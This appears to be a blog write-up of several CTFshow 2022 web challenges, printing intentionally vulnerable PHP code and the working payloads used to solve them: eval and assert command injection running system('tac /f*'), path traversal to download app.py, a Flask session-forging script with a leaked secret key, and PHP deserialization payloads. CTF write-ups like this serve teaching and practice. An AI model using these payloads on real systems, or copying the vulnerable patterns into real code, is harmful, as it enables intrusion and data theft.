CTFshow 2022 菜狗杯部分WEB WP


web签到

套娃题,自己本地搭环境,慢慢试就试出来了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

Payload:

cookie
CTFshow-QQ群:a
post
a=b
get
?b=c&c[6][0][7][5][8][0][9][4][4]=system('tac /f*');
在这里插入图片描述

在这里插入图片描述

web2 c0me_t0_s1gn

在这里插入图片描述

右键发现js源代码,将js代码全部复制下来,放在js在线运行工具里,在最后加上g1ve_flag();

在这里插入图片描述
在这里插入图片描述
两个拼接得到flag

我的眼里只有$

题目

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。
针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

套娃呗,一直套呗。

Payload
_=a1&a1=a2&a2=a3&a3=a4&a4=a5&a5=a6&a6=a7&a7=a8&a8=a9&a9=a10&a10=a11&a11=a12&a12=a15&a15=a16&a16=a17&a17=a18&a18=a19&a19=a20&a20=a21&a21=a22&a22=a23&a23=a24&a24=a25&a25=a26&a26=a27&a27=a28&a28=a29&a29=a30&a30=a31&a31=a32&a32=a33&a33=a34&a34=a35&a35=a36&a36=a37&a37=system('tac /f*');

抽老婆

在这里插入图片描述
检查源代码发现存在文件下载

在这里插入图片描述

访问download发现debug页面
在这里插入图片描述
可以实现任意文件下载,除了flag。

download?file=../../app.py

下载源码发现在这里插入图片描述
有个session校验,秘钥源码已经给出

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

用脚本跑一下


import hashlib

import flask

from flask.json.tag import TaggedJSONSerializer

from itsdangerous import *


session = {'isadmin': True}

secret = 'tanji_is_A_boy_Yooooooooooooooooooooo!'


print(URLSafeSerializer(secret_key=secret,

                        salt='cookie-session',  # Flask固定的盐,盐和secret会先经过一轮sha1运算,其结果作为下一轮盐和cookie内容生成签名。

                        serializer=TaggedJSONSerializer(),

                        signer=TimestampSigner,

                        signer_kwargs={

                            'key_derivation': 'hmac',

                            'digest_method': hashlib.sha1

                        }

                        ).dumps(session))


在这里插入图片描述
得到session值

在这里插入图片描述
把这里的修改即可得到flag

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

在这里插入图片描述

Payload:
?num=114514%2B1805296

驷马难追

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
} 

多了个过滤,不过没有影响

Payload:
?num=114514%2B1805296

TapTapTap

在这里插入图片描述

分析habibiScript.js代码发现

在这里插入图片描述

在控制台执行
在这里插入图片描述

访问/secret_path_you_do_not_know/secretfile.txt

在这里插入图片描述

webshell

很简单的反序列化

Payload:

<?php 


    class Webshell {
        public $cmd = 'ls';

        public function __construct() {
            $this->cmd='tac f*';
        }
    }
    $a=new Webshell();
    echo urlencode(serialize($a));
   
?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D

在这里插入图片描述

无一幸免


<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

Payload:
?0=0

遍地飘零


<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

Payload:
?_GET=flag

小舔田

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));

Payload:

?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值